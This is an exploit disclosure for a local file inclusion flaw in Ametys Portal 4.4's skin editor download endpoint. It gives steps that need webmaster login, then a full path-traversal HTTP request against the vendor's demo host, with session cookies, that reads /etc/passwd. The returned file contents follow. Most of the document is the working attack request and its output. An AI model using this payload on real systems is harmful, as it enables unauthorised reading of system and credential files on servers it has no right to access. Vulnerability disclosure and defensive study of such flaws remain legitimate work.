📄 Ametys Portal 4.4 Local File Inclusion

# Exploit Title: Ametys Portal 4.4 - Local File Inclusion
    # Date: 05.08.2025
    # Exploit Author: tmrswrr
    # Vendor Homepage: https://www.ametys.org
    # Software Link: https://www.ametys.org/community/en/download/ametys-portal/ametys-portal-4.html
    # Tested : https://www.ametys.org/community/en/ametys-platform/ametys-portal/online-demo.html
    # Version: 4.4
    # Category: Webapps
    
    
    1. Login with webmaster cred 
    2. Click Skin Editor > Resources > Img > any image file 
    3. Catch to request with burp suite , change path wit lfi papload 
    
    GET /cms/plugins/skineditor/file/download?path=../../../../../../../../../../../../../../../../etc/passwd&skinName=demo HTTP/1.1
    Host: demo.ametys.org
    Cookie: JSESSIONID=3F87581AEF2EC304640A09D7094D98EE; AmetysAuthentication=YW1ldHlzX2RlbW9fdXNlcnMjd2VibWFzdGVyI05ycnY0RlVPeXgwcENOVEk; tarteaucitron=!gajs=false!matomocloud=false!googlemaps=false!gagenda=false!sharethis=false!dailymotion=false!youtube=false!youtubeplaylist=false; JSESSIONID=DC788DBC176BFB0787DA25FC2C93CE63; _pk_id.2.afd3=4f757134bce0bed6.1754326045.; _ga_2VTM1RYFX8=GS2.1.s1754331048$o1$g1$t1754331054$j54$l0$h0; JSESSIONID-Ametys=719D9B1BA49FE4046DFB966F28FBB385
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: https://demo.ametys.org/cms/www/index.html
    Dnt: 1
    Sec-Gpc: 1
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    Priority: u=0, i
    Te: trailers
    Connection: keep-alive
    
    4. Result  
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin